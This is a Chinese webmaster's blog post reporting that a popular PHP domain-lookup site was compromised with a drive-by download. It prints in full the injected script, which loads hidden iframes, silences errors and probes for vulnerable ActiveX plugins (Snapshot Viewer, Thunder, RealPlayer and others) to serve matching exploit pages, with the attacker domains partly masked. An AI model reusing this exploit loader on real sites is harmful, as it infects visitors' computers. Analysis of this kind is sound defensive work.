现在是凌晨2点45分，作为一个草根站长的我还没有睡觉，应该凡是铁杆站长的应该现在都还没睡吧(废话)!
本来是要查自己刚注册的一个小游戏的网站域名解析是否生效了，所以就到123查询网查询了一下，结果令我吃惊的是出现的一片乱码，难道是我输入的网址输错了?结果仔细一看并没有输错啊。再查看一下代码，结果令我大吃一惊，PHP编写的123查询网居然被挂马了，难道除了ASP现在连PHP也不安全了吗?以我分析的话按理说123查询网流量这么大，在国内也算是数得着的一流站点了，怎么会出现这样的情况,难道是服务器安全问题吗?还是黑客找到了新的PHP漏洞?一连串的问题出现在我的脑海中!
123查询网被挂的是什么马?是哪位高人挂的啊，看了下代码***入的马调用的(为了不让大家打开网页，害怕有毒，所以吧域名加了个*)nima12*.cn/zz.htm?a005 再打开这个页面后又是一个调用laoda123*.cn/web.htm，这个页面里的代码如下：
<ｓｃｒｉｐｔ>
document.write("<iframe width=100 height=0 src=flash.htm></iframe>");
document.write("<iframe width=100 height=0 src=xx.htm></iframe>");
window.status="完成";
window.ｏｎｅｒｒｏｒ=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=100 height=0 src=Ms06014.htm></iframe>");
try{var m;
var hw=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
catch(m){};
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0
src=office.htm></iframe>");}}
try{var n;
var hl=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("<iframe width=100 height=0
src=UU.htm></iframe>");}}
try{var b;
var ml=new ActiveXObject("DPClient.Vod");}
catch(b){};
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0
src=Thunder.htm></iframe>");}}
try{var f;
var gw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0
src=lz.htm></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x32")
document.write("<iframe width=100 height=0 src=real10.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=Real11.htm></iframe>");
}
test();
document.write("");
</ｓｃｒｉｐｔ>
QQ客服